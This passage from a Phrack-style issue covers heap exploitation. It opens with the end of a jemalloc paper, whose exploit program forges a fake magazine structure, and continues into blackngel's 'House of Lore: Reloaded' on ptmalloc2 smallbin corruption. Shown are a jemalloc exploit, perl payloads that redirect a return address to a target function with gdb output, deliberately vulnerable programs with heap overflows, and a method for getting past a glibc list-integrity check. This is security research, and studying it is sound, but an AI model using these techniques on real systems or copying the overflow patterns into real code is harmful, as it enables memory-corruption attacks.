pointer array, preferably the latter. The exploitation code given below 

makes use of the void pointer technique (file exploit-mag.c): 

 

 

int main(int argc, char *argv[]) { 

  char fake_mag_t[12 + 1]; 

  char buff[1024 + 1]; 

  size_t i, fake_mag_t_p; 

 

  if(argc != 2) { 

    printf("%s <mag_t address>\n", argv[0]); 

    return 1; 

  } 

  fake_mag_t_p = (size_t)strtoul(argv[1], NULL, 16); 

 

  /* Please read this... 

   * 

   * In order to void using NULL bytes, we use 0xffffffff as the value 

   * for 'nrounds'. This will force jemalloc picking up 0x42424242 as 

   * a valid region pointer instead of 0x41414141 :) 
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   */ 

  printf("[*] Assuming fake mag_t is at %p\n", (void *)fake_mag_t_p); 

  *(size_t *)&fake_mag_t[0] = 0x42424242; 

  *(size_t *)&fake_mag_t[4] = 0xffffffff; 

  *(size_t *)&fake_mag_t[8] = 0x41414141; 

  fake_mag_t[12] = 0; 

  setenv("FAKE_MAG_T", fake_mag_t, 1); 

 

  /* The buffer that will overwrite the victim 'mag_rack_t'. */ 

  printf("[*] Preparing input buffer\n"); 

  for(i = 0; i < 256; i++) 

    *(size_t *)&buff[4 * i] = (size_t)fake_mag_t_p; 

  buff[1024] = 0; 

 

  printf("[*] Executing the vulnerable program\n"); 

  execl("./vuln-mag", "./vuln-mag", "16", buff, NULL); 

  perror("execl"); 

  return 0; 

} 

 

 

Let's compile and run the exploit code: 

 

 

$ ./exploit-mag 

./exploit-mag <mag_t address> 

$ ./exploit-mag 0xdeadbeef 

[*] Assuming fake mag_t is at 0xdeadbeef 

[*] Preparing input buffer 

[*] Executing the vulnerable program 

[*] 0xbfbfedd6 

... 

 

 

The vulnerable code reports that the environment variable 'FAKE_MAG_T' 

containing our fake 'mag_t' structure is exported at 0xbfbfedd6. 

 

 

$ ./exploit-mag 0xbfbfedd6 

[*] Assuming fake mag_t is at 0xbfbfedd6 

[*] Preparing input buffer 

[*] Executing the vulnerable program 

[*] 0xbfbfedd6 

[vuln] v = 0x28311100 

[673283456] p1 = 0x28317800 

... 

[673283456] p2 = 0x42424242 

[673282496] p2 = 0x3d545f47 

 

 

Neat. One of the victim threads, the one whose magazine rack is overflown, 

returns an arbitrary address as a valid region. Overwriting the thread 

caches is probably the most lethal attack but it suffers from a limitation 

which we do not consider serious. The fact that the returned memory region 

and the 'bin_mags[]' element both receive arbitrary addresses, results in a 

segfault either on the deallocation of 'p2' or once the thread dies by 

explicitly or implicitly calling 'pthread_exit()'. Possible shellcodes 

should be triggered _before_ the thread exits or the memory region is 

freed. Fair enough... :) 
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--[ 4 - A real vulnerability 

 

For a detailed case study on jemalloc heap overflows see the second Art of 

Exploitation paper in this issue of Phrack. 

 

 

--[ 5 - Future work 

 

This paper is the first public treatment of jemalloc that we are aware 

of. In the near future, we are planning to research how one can corrupt 

the various red black trees used by jemalloc for housekeeping. The rbtree 

implementation (defined in rb.h) is fully based on preprocessor macros 

and it's quite complex in nature. Although we have already debugged them, 

due to lack of time we didn't attempt to exploit the various tree 

operations performed on rbtrees. We wish that someone will continue our 

work from where we left of. If no one does, then you definitely know whose 

articles you'll soon be reading :) 

 

 

--[ 6 - Conclusion 

 

We have done the first step in analyzing jemalloc. We do know, however, 

that we have not covered every possible potential of corrupting the 

allocator in a controllable way. We hope to have helped those that were 

about to study the FreeBSD userspace allocator or the internals of Firefox 

but wanted to have a first insight before doing so. Any reader that 

discovers mistakes in our article is advised to contact us as soon as 

possible and let us know. 

 

Many thanks to the Phrack staff for their comments. Also, thanks to George 

Argyros for reviewing this work and making insightful suggestions. 

 

Finally, we would like to express our respect to Jason Evans for such a 

leet allocator. No, that isn't ironic; jemalloc is, in our opinion, one of 

the best (if not the best) allocators out there. 
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           .-----------. 

---[ 1 ---[   Preface   ]--- 

           .-----------. 

 

No offense, I could say that sometimes the world of hackers (at least) is  

divided into two camps:  

     

    1.- The illustrious characters who spend many hours to find holes in 

    the current software. 

     

    2.- And the hackers who spend most of their time to find a way to 

    exploit a vulnerable code/environment that does not exist yet. 

 

Maybe, it is a bit confusing but this is like the early question: which  

came first, the chicken or the egg? Or better... Which came first, the bug  

or the exploit? 

 

Unlike what happens with an ordinary Heap Overflow, where we could say it's 

the logical progression over time of a Stack Overflow, with The House of  

Lore technique seems to happen something special and strange, we know it's  

there (a thorn in your mind), that something happens, something is wrong  

and that we can exploit it. 

 

But we do not know how to do it. And that is all over this stuff, we know 

the technique (at least the Phantasmal Phantasmagoria explanation), but 

perhaps has anyone seen a sample vulnerable code that can be exploited? 

 

Maybe someone is thinking: well, if the bug exists and it is an ordinary  

Heap Overflow...  

 

     1.- What are the conditions to create a new technique?  

      

     2.- Why a special sequence of calls to malloc( ) and free( ) allows a  

     specific exploit technique and why another sequence needs other  

     technique?  

      

     3.- What are the names of those sequences? Are the sequences a bug or  

     is it pure luck? 

 

This can give much food for thought. If Phantasmal had left a clear  

evidence of his theory, surely we would have forgotten about it, but as  

this did not happened, some of us are spending all day analyzing the way to  

create a code that can be committed with a technique that a virtual expert  

gave us in 2005 in a magnificent article that everyone already knows,  

right? 

 

We speak about "Malloc Maleficarum" [1], great theory that I myself had the  

opportunity to demonstrate in practice in the "Malloc Des-Maleficarum" [2]  

article. But unfortunately I left a job unresolved yet. In the pas I was  

not able to interpret so correct one of the techniques that were presented  

by Phantasmal, we speak of course of "The House of Lore" technique, but in 

a moment of creativity it seems that I finally found a solution. 
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Here I submit the details of how a vulnerable code can be attacked with The 

House of Lore (THoL from now), thus completing a stage that for some reason 

was left unfinished. 

 

In addition, we will target not only the smallbin corruption method which 

many have heard of, but we also introduce the complications in largebin  

method and how to solve them. I also present two variants based on these  

techniques that I have found to corrupt the Ptmalloc3 structure. 

 

There are also more content in this paper like a small program where to  

apply one of the techniques can be exploited, it is very useful for an  

exploiting-wargame. 

 

And... yes, THoL was exactly the thorn that I had into my mind. 

 

 

 

               << One can resist the invasion 

                  of an army but one cannot 

                  resist the invasion of ideas. >> 

 

                                   [ Victor Hugo ] 

 

 

 

           .----------------. 

---[ 2 ---[   Introduction   ]--- 

           .----------------. 

 

Then, before starting with practical examples, we reintroduce the technical 

background of the THoL. While that one might take the Phantasmal's theory 

as the only support for subsequent descriptions, we will offer a bigger and 

more deep approach to the subject and also some small indications on how  

you can get some information from Ptmalloc2 in runtime without having to  

modify or recompile your personal GlibC. 

 

We mention that dynamic hooks could be a better way to this goal. More 

control, more conspicuous. 

 

 

 

               << Great spirits have always encountered 

                  violent opposition from mediocre minds. >> 

 

                                         [ Albert Einstein ] 

 

 

 

             .-----------------------. 

---[ 2.1 ---[   KiddieDbg Ptmalloc2   ]--- 

             .-----------------------. 

 

In an effort to make things easier to the reader when we will perform all 

subsequent tests, let's indicate the simple way you can use PTMALLOC2 to 

obtain the necessary information from within each attack. 

 

To avoid the tedious task of recompiling GLIBC when one makes a minor  

change in "malloc.c", we decided to directly download the sources of  

ptmalloc2 from: http://www.malloc.de/malloc/ptmalloc2-current.tar.gz. 

 

Then we compiled it in a Kubuntu 9.10 Linux distribution (it will not be a  
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great effort to type a make) and you can directly link it as a static  

library to each of our examples like this: 

 

   gcc prog.c libmalloc.a -o prog 

 

However, before compiling this library, we allowed ourselves the luxury of  

introducing a pair of debugging sentences. To achieve this we made use of a 

function that is not accessible to everybody, one has to be very eleet to  

know it and only those who have been able to escape to Matrix have the  

right to use it. This lethal weapon is known among the gurus as  

"printf( )". 

 

And now, enough jokes, here are the small changes in "malloc.c" to get some  

information at runtime: 

 

 

----- snip ----- 

 

Void_t* 

_int_malloc(mstate av, size_t bytes) 

{ 

.... 

  checked_request2size(bytes, nb); 

 

  if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) { 

    ... 

  } 

 

  if (in_smallbin_range(nb)) { 

    idx = smallbin_index(nb); 

    bin = bin_at(av,idx); 

    if ( (victim = last(bin)) != bin) { 

 

printf("\n[PTMALLOC2] -> (Smallbin code reached)"); 

printf("\n[PTMALLOC2] -> (victim = [ %p ])", victim); 

 

      if (victim == 0) /* initialization check */ 

        malloc_consolidate(av); 

      else { 

        bck = victim->bk; 

 

printf("\n[PTMALLOC2] -> (victim->bk = [ %p ])\n", bck); 

 

        set_inuse_bit_at_offset(victim, nb); 

        bin->bk = bck; 

        bck->fd = bin; 

 

        if (av != &main_arena) 

   victim->size |= NON_MAIN_ARENA; 

        check_malloced_chunk(av, victim, nb); 

        return chunk2mem(victim); 

      } 

    } 

  } 

 

----- snip ----- 

 

 

Here we can know when a chunk is extracted from its corresponding bin to 

satisfy a memory request of appropriate size. In addition, we can control 

the pointer value that takes the "bk" pointer of a chunk if it has been 
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previously altered. 

 

 

----- snip ----- 

 

  use_top: 

    victim = av->top; 

    size = chunksize(victim); 

 

    if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 

      ........ 

printf("\n[PTMALLOC2] -> (Chunk from TOP)"); 

      return chunk2mem(victim); 

    } 

 

----- snip ----- 

 

 

Here you simply provide a warning to be aware of when a memory request is 

served from the Wilderness chunk (av->top). 

 

 

----- snip ----- 

 

        bck = unsorted_chunks(av); 

        fwd = bck->fd; 

        p->bk = bck; 

        p->fd = fwd; 

        bck->fd = p; 

        fwd->bk = p; 

printf("\n[PTMALLOC2] -> (Freed and unsorted chunk [ %p ])", p); 

 

----- snip ----- 

 

 

Unlike the first two changes which were introduced in the "_int_malloc( )" 

function, the latter did it in "_int_free( )" and clearly indicates when a  

chunk has been freed and introduced into the unsorted bin for a further use 

of it. 

 

 

 

               << I have never met a man so 

                  ignorant that I couldn't 

                  learn something from him. >> 

 

                           [ Galileo Galilei ] 

 

 

 

             .-----------------------. 

---[ 2.2 ---[   SmallBin Corruption   ]--- 

             .-----------------------. 

 

Take again before starting the piece of code that will trigger the  

vulnerability described in this paper: 

 

 

----- snip -----  

 

  if (in_smallbin_range(nb)) { 
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    idx = smallbin_index(nb); 

    bin = bin_at(av,idx); 

    if ( (victim = last(bin)) != bin) { 

 

      if (victim == 0) /* initialization check */ 

        malloc_consolidate(av); 

      else { 

        bck = victim->bk; 

        set_inuse_bit_at_offset(victim, nb); 

        bin->bk = bck; 

        bck->fd = bin; 

 

        if (av != &main_arena) 

   victim->size |= NON_MAIN_ARENA; 

        check_malloced_chunk(av, victim, nb); 

        return chunk2mem(victim); 

      } 

 

----- snip -----  

 

 

To reach this area of the code inside "_int_malloc( )", one assumes the  

fact that the size of memory request is largest that the current value of  

"av->max_fast" in order to pass the first check and avoid fastbin[ ]  

utilization. Remember that this value is "72" by default. 

 

This done, then comes the function "in_smallbin_range(nb)" which checks in  

turn if the chunk of memory requested is less than that MIN_LARGE_SIZE,  

defined to 512 bytes in malloc.c. 

 

We know from the documentation that: "the size bins for less than 512 bytes 

contain always the same size chunks". With this we know that if a chunk of 

a certain size has been introduced in its corresponding bin, a further 

request of the same size will find the appropriate bin and will return the 

previously stored chunk. The functions "smallbin_index(nb)" and  

"bin_at(av, idx)" are responsible for finding the appropriate bin for the 

chunk requested. 

 

We also know that a "bin" is a couple of pointers "fd" and "bk", the  

purpose of the pointers is to close the doubly linked list of the free  

chunks. The macro "last(bin)" returns the pointer "bk" of this "fake  

chunk", it also indicates the last available chunk in the bin (if any). If  

none exists, the pointer "bin->bk" would be pointing to itself, then it  

will fail the search and it would be out of the smallbin code. 

 

If there is an available chunk of adequate size, the process is simple.  

Before being returned to the caller, it must be unlinked from the list and, 

in order to do it, malloc uses the following instructions: 

 

 

   1) bck = victim->bk; // bck points to the penultimate chunk 

 

   2) bin->bk = bck;    // bck becomes the last chunk 

 

   3) bck->fd = bin;    // fd pointer of the new last chunk points 

                           to the bin to close the list again 

 

 

If all is correct, the user is given the pointer *mem of victim by the  

macro "chunk2mem(victim)." 
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The only extra tasks in this process are to set the PREV_INUSE bit of the 

contiguous chunk, and also to manage the NON_MAIN_ARENA bit if victim is  

not in the main arena by default. 

 

And here is where the game starts. 

 

The only value that someone can control in this whole process is obviously  

the value of "victim->bk". But to accomplish this, a necessary condition  

must be satisfied: 

 

   1 - That two chunks have been allocated previously, that the latter has 

       been freed and that the first will be vulnerable to an overflow. 

 

If this is true, the overflow of the first chunk will allow to manipulate 

the header of the already freed second chunk, specifically the "bk" pointer 

because other fields are not interesting at this time. Always remember that 

the overflow must always occur after the release of this second piece, and 

I insist on it because we do not want to blow the alarms within  

"_int_free()" before its time. 

 

As mentioned, if this manipulated second piece is introduced in its  

corresponding bin and a new request of the same size is performed, the  

smallbin code is triggered, and therefore come to the code that interests  

us. 

 

"bck" is pointing to the altered "bk" pointer of victim and as a result,  

will become the last piece in "bin->bk = bck". Then a subsequent call to  

malloc( ) with the same size could deliver a chunk in the position of  

memory with which we had altered the "bk" pointer, and if this were in the  

stack we already know what happens. 

 

In this attack one must be careful with the sentence "bck->fd = bin" since  

this code tries to write to the pointer "fd" the bin's address to close the 

linked list, this memory area must have writing permissions. 

 

The only last thing really important for the success of our attack: 

 

When a chunk is freed, it is inserted into the known "unsorted bin". This 

is a special bin, also a doubly linked list, with the peculiarity that the 

chunks are not sorted (obviously) according to the size. This bin is like a 

stack, the chunks are placed in this bin when they are freed and the chunks  

will always been inserted in the first position. 

 

This is done with the intention that a subsequent call to "malloc( ), 

calloc( ) or realloc( )" can make use of this chunk if its size can fulfill 

the request. This is done to improve efficiency in the memory allocation  

process as each chunk introduced in the unsorted bin has a chance to be  

reused immediately without going through the sorting algorithm. 

 

How does this process work? 

 

All begins within "_int_malloc( )" with the next loop: 

 

   while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) 

 

then takes the second last piece of the list: 

 

   bck = victim->bk 

 

checks if the memory request is within "in_smallbin_range( )", and it is 

checked whether the request could be met with victim. Otherwise, proceed to 
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remove victim from unsorted bin with: 

 

 

  unsorted_chunks(av)->bk = bck; 

  bck->fd = unsorted_chunks(av); 

 

 

which is the same as saying: the bin points to the penultimate chunk, and 

the penultimate chunk points to the bin which becomes the latest chunk in 

the list. 

 

Once removed from the list, two things can happen. Either the size of the 

removed chunk matches with the request made (size == nb) in which case it 

returns the memory for this chunk to the user, or it does not coincide and  

that's when we proceed to introduce the chunk in the adequate bin with: 

 

 

   bck = bin_at(av, victim_index); 

   fwd = bck->fd; 

   ..... 

   ..... 

   victim->bk = bck; 

   victim->fd = fwd; 

   fwd->bk = victim; 

   bck->fd = victim; 

 

 

Why do we mention this? Well, the condition that we mentioned requires that 

the freed and manipulated chunk will be introduced in its appropriate bin,  

since as Phantasmal said, altering an unsorted chunk is not interesting at 

this time. 

 

With this in mind, our vulnerable program should call malloc( ) between the 

vulnerable copy function and the subsequent call to malloc( ) requesting  

the same size as the chunk recently freed. In addition, this intermediate  

call to malloc( ) should request a size larger than the released one, so  

that the request can not be served from unsorted list of chunks and  

proceeds to order the pieces into their respective bins. 

 

We note before completing this section that a bin of a real-life  

application might contain several chunks of the same size stored and  

waiting to be used. When a chunk comes from unsorted bin, that is inserted  

into its appropriate bin as the first in the list, and according to our  

theory, our altered chunk is not being used until it occupies the last  

position (last(bin)). If this occurs, multiple calls to malloc( ) with the  

same size must be triggered so that our chunk reaches the desired position  

in the circular list. At that point, the "bk" pointer must be hacked. 

 

  



[2. The House Of Lore: Reloaded - blackngel] 

 

  Page 
61 

 
  

Graphically would pass through these stages: 

 

Stage 1: Insert victim into smallbin[ ]. 

 

 

                   bin->bk  ___  bin->fwd 

                  o--------[bin]----------o 

                  !         ^ ^           ! 

               [last]-------| |-------[victim] 

                 ^|   l->fwd    v->bk    ^| 

                 |!                      |! 

               [....]                  [....] 

                   \\                  // 

                    [....]        [....] 

                     ^ |____________^ | 

                     |________________|     

 

 

Stage 2: "n" calls to malloc( ) with same size. 

 

 

                   bin->bk  ___  bin->fwd 

                  o--------[bin]----------o 

                  !         ^ ^           ! 

              [victim]------| |--------[first] 

                 ^|   v->fwd    f->bk    ^| 

                 |!                      |! 

               [....]                  [....] 

                   \\                  // 

                    [....]        [....] 

                     ^ |____________^ | 

                     |________________|     

 

 

Stage 3: Overwrite "bk" pointer of victim. 

 

 

                   bin->bk  ___  bin->fwd 

                  o--------[bin]----------o 

 & stack          !         ^ ^           ! 

     ^--------[victim]------| |--------[first] 

        v->bk     ^   v->fwd    f->bk    ^| 

                  |                      |! 

               [....]                  [....] 

                   \\                  // 

                    [....]        [....] 

                     ^ |____________^ | 

                     |________________|   
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Stage 4: Last call to malloc( ) with same size. 

 

 

                   bin->bk  ___  bin->fwd 

                  o--------[bin]----------o 

 & -w- perm       !         ^ ^           ! 

     ^--------[&stack]------| |--------[first] 

        v->bk     ^   v->fwd    f->bk    ^| 

                  |                      |! 

               [....]                  [....] 

                   \\                  // 

                    [....]        [....] 

                     ^ |____________^ | 

                     |________________|   

 

 

It is where the pointer "*mem" is returned pointing to the stack and thus  

giving full control of the attacked system. However as there are people who 

need to see to believe, read on next section. 

 

Note: I have not checked all versions of glibc, and some changes have been 

made since I wrote this paper. For example, on an Ubuntu box (with glibc 

2.11.1) we see the next fix: 

 

 

----- snip ----- 

 

        bck = victim->bk; 

        if (__builtin_expect (bck->fd != victim, 0)) 

          { 

            errstr = "malloc(): smallbin double linked list corrupted"; 

            goto errout; 

          } 

        set_inuse_bit_at_offset(victim, nb); 

        bin->bk = bck; 

        bck->fd = bin; 

 

----- snip ----- 

 

 

This check can still be overcome if you control an area into the stack and 

you can write an integer such that its value is equal to the address of the 

recently free chunk (victim). This must happen before the next call to 

malloc( ) with the same size requested. 

 

 

 

               << The grand aim of all science is to cover 

                  the greatest number of empirical facts 

                  by logical deduction from the smallest 

                  number of hypotheses or axioms. >> 

 

                                       [ Albert Einstein ] 

 

 

 

               .-------------------------. 

---[ 2.2.1 ---[   Triggering The HoL(e)   ]--- 

               .-------------------------. 

 

After the theory... A practical example to apply this technique, here is a  
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detailed description: 

 

 

---[ thl.c ]--- 

 

#include <stdio.h> 

#include <string.h> 

 

void evil_func(void) 

{ 

    printf("\nThis is an evil function. You become a cool \ 

hacker if you are able to execute it.\n");  

} 

 

void func1(void) 

{ 

    char *lb1, *lb2; 

      

    lb1 = (char *) malloc(128); 

    printf("LB1 -> [ %p ]", lb1); 

    lb2 = (char *) malloc(128); 

    printf("\nLB2 -> [ %p ]", lb2); 

 

    strcpy(lb1, "Which is your favourite hobby? "); 

    printf("\n%s", lb1); 

    fgets(lb2, 128, stdin); 

} 

 

int main(int argc, char *argv[]) 

{ 

    char *buff1, *buff2, *buff3; 

 

    malloc(4056); 

    buff1 = (char *) malloc(16); 

    printf("\nBuff1 -> [ %p ]", buff1); 

    buff2 = (char *) malloc(128); 

    printf("\nBuff2 -> [ %p ]", buff2); 

    buff3 = (char *) malloc(256); 

    printf("\nBuff3 -> [ %p ]\n", buff3); 

 

    free(buff2); 

 

    printf("\nBuff4 -> [ %p ]\n", malloc(1423)); 

 

    strcpy(buff1, argv[1]); 

 

    func1(); 

 

    return 0; 

} 

 

---[ end thl.c ]--- 

 

 

The program is very simple, we have a buffer overflow in "buff1" and an 

"evil_func( )" function which is never called but which we want to run. 

 

In short we have everything we need in order to trigger THoL: 

 

1) Make a first call to malloc(4056), it shouldn't be necessary but we use  

   to warm up the system. Furthermore, in a real-life application the heap  
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   probably won't be starting from scratch. 

 

2) We allocate three chunks of memory, 16, 128 and 256 bytes respectively, 

   since no chunks has been released before, we know that they must been  

   taken from the Wilderness or Top Chunk. 

 

3) Free() the second chunk of 128 bytes. This is placed in the unsorted  

   bin. 

 

4) Allocate a fourth piece larger than the most recently freed chunk. The 

   "buff2" is now extracted from the unsorted list and added to its  

   appropriate bin. 

 

5) We have a vulnerable function strcpy( ) that can overwrite the header 

   of the chunk previously passed to free( ) (including its "bk" field). 

 

6) We call func1( ) which allocated two blocks of 128 bytes (the same size 

   as the piece previously released) to formulate a question and get a user 

   response. 

 

It seems that in point 6 there is nothing vulnerable, but everyone knows 

that if "LB2" point to the stack, then we may overwrite a saved return 

address. That is our goal, and we will see this approach. 

 

A basic execution could be like this: 

 

black@odisea:~/ptmalloc2$ ./thl AAAA 

 

[PTMALLOC2] -> (Chunk from TOP) 

Buff1 -> [ 0x804ffe8 ] 

[PTMALLOC2] -> (Chunk from TOP) 

Buff2 -> [ 0x8050000 ] 

[PTMALLOC2] -> (Chunk from TOP) 

Buff3 -> [ 0x8050088 ] 

 

[PTMALLOC2] -> (Freed and unsorted chunk [ 0x804fff8 ]) 

[PTMALLOC2] -> (Chunk from TOP) 

Buff4 -> [ 0x8050190 ] 

 

[PTMALLOC2] -> (Smallbin code reached) 

[PTMALLOC2] -> (victim = [ 0x804fff8 ]) 

[PTMALLOC2] -> (victim->bk = [ 0x804e188 ]) 

LB1 -> [ 0x8050000 ] 

[PTMALLOC2] -> (Chunk from TOP) 

LB2 -> [ 0x8050728 ] 

Which is your favourite hobby: hack 

black@odisea:~/ptmalloc2$ 

 

 

We can see that the first 3 malloced chunks are taken from the TOP, then  

the second chunk (0x0804fff8) is passed to free() and placed in the  

unsorted bin. This piece will remain here until the next call to malloc( )  

will indicate whether it can meet the demand or not. 

 

Since the allocated fourth buffer is larger than the recently freed, it's  

taken again from TOP, and buff2 is extracted from unsorted bin to insert it 

into the bin corresponding to its size (128). 

 

After we see how the next call to malloc(128) (lb1) triggers smallbin code  

returning the same address that the buffer previously freed. You can see  

the value of "victim->bk" which is what should take (lb2) after this  
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address had been passed to the chunk2mem( ) macro. 

 

However, we can see in the output: the lb2 is taken from the TOP and not 

from a smallbin. Why? Simple, we've just released a chunk (only had a piece 

in the corresponding bin to the size of this piece) and since we have not  

altered the "bk" pointer of the piece released, the next check: 

 

 

   if ( (victim = last(bin)) != bin) 

 

which is the same as: 

 

   if ( (victim = (bin->bk = oldvictim->bk)) != bin) 

 

will say that the last piece in the bin points to the bin itself, and 

therefore, the allocation must be extracted from another place. 

 

Until here all right, then, what do we need to exploit the program? 

 

1) Overwrite buff2->bk with an address on the stack near a saved return  

   address (inside the frame created by func1( )). 

 

2) This address, in turn, must fall on a site such that the "bk" pointer of 

   this fake chunk will be an address with write permissions. 

 

3) The evil_func()'s address with which we want to overwrite EIP and the  

   necessary padding to achieve the return address. 

 

Let's start with the basics: 

 

If we set a breakpoint in func1( ) and examine memory, we get: 

 

 

(gdb) x/16x $ebp-32 

0xbffff338:     0x00000000      0x00000000      0xbffff388      0x00743fc0 

0xbffff348:     0x00251340      0x00182a20      0x00000000      0x00000000 

0xbffff358:     0xbffff388      0x08048d1e      0x0804ffe8      0xbffff5d7 

0xbffff368:     0x0804c0b0      0xbffff388      0x0013f345      0x08050088 

 

EBP -> 0xbffff358 

RET -> 0xbffff35C 

 

 

But the important thing here is that we must alter buff2->bk with the 

"0xbffff33c" value so the new victim->bk take a writable address. 

 

Items 1 and 2 passed. The evil_func()'s address is: 

 

 

(gdb) disass evil_func 

Dump of assembler code for function evil_func: 

0x08048ba4 <evil_func+0>:       push   %ebp   

 

 

And now, without further delay, let's see what happens when we merge all 

these elements into a single attack: 

 

 

black@odisea:~/ptmalloc2$ perl -e 'print "BBBBBBBB". "\xa4\x8b\x04\x08"' > 

evil.in 

 



[2. The House Of Lore: Reloaded - blackngel] 

 

  Page 
66 

 
  

... 

 

(gdb) run `perl -e 'print "A"x28 . "\x3c\xf3\xff\xbf"'` < evil.in                                                                             

 

[PTMALLOC2] -> (Chunk from TOP) 

Buff1 -> [ 0x804ffe8 ]  

[PTMALLOC2] -> (Chunk from TOP) 

Buff2 -> [ 0x8050000 ]  

[PTMALLOC2] -> (Chunk from TOP) 

Buff3 -> [ 0x8050088 ]          

 

[PTMALLOC2] -> (Freed and unsorted chunk [ 0x804fff8 ]) 

[PTMALLOC2] -> (Chunk from TOP)                                                 

Buff4 -> [ 0x8050190 ] 

 

[PTMALLOC2] -> (Smallbin code reached) 

[PTMALLOC2] -> (victim = [ 0x804fff8 ]) 

[PTMALLOC2] -> (victim->bk = [ 0xbffff33c ]) // First stage of attack 

LB1 -> [ 0x8050000 ] 

[PTMALLOC2] -> (Smallbin code reached) 

[PTMALLOC2] -> (victim = [ 0xbffff33c ])     // Victim in the stack 

[PTMALLOC2] -> (victim->bk = [ 0xbffff378 ]) // Address with write perms 

 

LB2 -> [ 0xbffff344 ]                        // Boom! 

Which is your favourite hobby? 

 

This is an evil function. You become a cool hacker if you are able to 

execute it.                                  // We get a cool msg. 

 

Program received signal SIGSEGV, Segmentation fault. 

0x08048bb7 in evil_func () 

(gdb) 

 

 

You must be starting to understand now what I wanted to explain in the  

preface of this article, instead of discovering or inventing a new  

technique, what we have been doing for a long time is to find the way to  

design a vulnerable application to this technique which had fallen us from  

the sky a few years ago. 

 

Compile this example with normal GLIBC and you will get the same result,  

only remember adjusting evil_func( ) address or the area where you have 

stored your custom arbitrary code. 

 

 

 

               << The unexamined life is not worth living. >> 

 

                                                 [ Socrates ] 

 

 

 

               .----------------------------. 

---[ 2.2.2 ---[   A More Confusing Example   ]--- 

               .----------------------------. 

 

To understand how THoL could be applied in a real-life application, I  

present below a source code created by me as if it were a game, that will 

offer a broader view of the attack. 

 

This is a crude imitation of an agent manager. The only thing this program 
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can do is creating a new agent, editing it (ie edit their names and  

descriptions) or deleting it. To save space, one could edit only certain  

fields of an agent, leaving the other free without taking up memory or  

freeing when no longer needed. 

 

In addition, to avoid unnecessary extensions in this paper, the entire 

information entered into the program is not saved in any database and only 

remains available while the application is in execution. 

 

 

---[ agents.c ]--- 

 

#include <stdlib.h> 

#include <stdio.h> 

#include <string.h> 

 

void main_menu(void); 

 

void create_agent(void); 

void select_agent(void); 

void edit_agent(void); 

void delete_agent(void); 

 

void edit_name(void); 

void edit_lastname(void); 

void edit_desc(void); 

void delete_name(void); 

void delete_lastname(void); 

void delete_desc(void); 

void show_data_agent(void); 

 

typedef struct agent { 

   int id; 

   char *name; 

   char *lastname; 

   char *desc; 

} agent_t; 

 

agent_t *agents[256]; 

int agent_count = 0; 

int sel_ag = 0; 

 

int main(int argc, char *argv[]) 

{ 

      main_menu(); 

} 

 

void main_menu(void) 

{ 

   int op = 0; 

   char opt[2]; 

 

   printf("\n\t\t\t\t[1] Create new agent"); 

   printf("\n\t\t\t\t[2] Select Agent"); 

   printf("\n\t\t\t\t[3] Show Data Agent"); 

   printf("\n\t\t\t\t[4] Edit agent"); 

   printf("\n\t\t\t\t[0] <- EXIT"); 

   printf("\n\t\t\t\tSelect your option:"); 

   fgets(opt, 3, stdin); 

 

   op = atoi(opt); 
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   switch (op) { 

 case 1: 

  create_agent(); 

  break; 

 case 2: 

  select_agent(); 

  break; 

 case 3: 

  show_data_agent(); 

  break; 

 case 4: 

  edit_agent(); 

  break; 

 case 0: 

             exit(0); 

     default: 

    break; 

   }      

 

   main_menu(); 

} 

 

void create_agent(void) 

{ 

   agents[agent_count] = (agent_t *) malloc(sizeof(agent_t)); 

   sel_ag = agent_count; 

   agents[agent_count]->id = agent_count; 

   agents[agent_count]->name = NULL; 

   agents[agent_count]->lastname = NULL; 

   agents[agent_count]->desc = NULL; 

   printf("\nAgent %d created, now you can edit it", sel_ag); 

   agent_count += 1; 

} 

 

void select_agent(void) 

{ 

   char ag_num[2]; 

   int num; 

   

   printf("\nWrite agent number: "); 

   fgets(ag_num, 3, stdin); 

   num = atoi(ag_num); 

 

   if ( num >= agent_count ) { 

       printf("\nOnly %d available agents, select another", agent_count); 

   } else { 

       sel_ag = num; 

       printf("\n[+] Agent %d selected.", sel_ag); 

   } 

} 

 

void show_data_agent(void) 

{ 

   printf("\nAgent [%d]", agents[sel_ag]->id); 

 

   printf("\nName: ");  

   if(agents[sel_ag]->name != NULL) 

       printf("%s", agents[sel_ag]->name); 

 

   printf("\nLastname: ");   
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   if(agents[sel_ag]->lastname != NULL) 

       printf("%s", agents[sel_ag]->lastname); 

    

   printf("\nDescription: "); 

   if(agents[sel_ag]->desc != NULL) 

       printf("%s", agents[sel_ag]->desc); 

} 

 

void edit_agent(void) 

{ 

   int op = 0; 

   char opt[2]; 

 

   printf("\n\t\t\t\t[1] Edit name"); 

   printf("\n\t\t\t\t[2] Edit lastname"); 

   printf("\n\t\t\t\t[3] Edit description"); 

   printf("\n\t\t\t\t[4] Delete name"); 

   printf("\n\t\t\t\t[5] Delete lastname"); 

   printf("\n\t\t\t\t[6] Delete description"); 

   printf("\n\t\t\t\t[7] Delete agent"); 

   printf("\n\t\t\t\t[0] <- MAIN MENU"); 

   printf("\n\t\t\t\tSelect Agent Option: "); 

   fgets(opt, 3, stdin); 

 

   op = atoi(opt); 

 

   switch (op) { 

      case 1: 

           edit_name(); 

    break; 

      case 2: 

           edit_lastname(); 

           break; 

      case 3: 

           edit_desc(); 

           break; 

      case 4: 

           delete_name(); 

       break; 

      case 5: 

           delete_lastname(); 

           break; 

      case 6: 

           delete_desc(); 

           break; 

      case 7: 

           delete_agent(); 

           break; 

      case 0: 

           main_menu(); 

      default: 

         break; 

   } 

   

   edit_agent(); 

} 

 

void edit_name(void) 

{ 

   if(agents[sel_ag]->name == NULL) { 

      agents[sel_ag]->name = (char *) malloc(32); 
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      printf("\n[!!!]malloc(ed) name [ %p ]", agents[sel_ag]->name); 

   } 

 

   printf("\nWrite name for this agent: "); 

   fgets(agents[sel_ag]->name, 322, stdin); 

} 

 

void delete_name(void) 

{ 

   if(agents[sel_ag]->name != NULL) { 

      free(agents[sel_ag]->name); 

      agents[sel_ag]->name = NULL; 

   } 

} 

 

void edit_lastname(void) 

{ 

   if(agents[sel_ag]->lastname == NULL) { 

      agents[sel_ag]->lastname = (char *) malloc(128); 

      printf("\n[!!!]malloc(ed) lastname [ %p ]",agents[sel_ag]->lastname); 

   } 

    

   printf("\nWrite lastname for this agent: "); 

   fgets(agents[sel_ag]->lastname, 127, stdin); 

} 

 

void delete_lastname(void) 

{ 

   if(agents[sel_ag]->lastname != NULL) { 

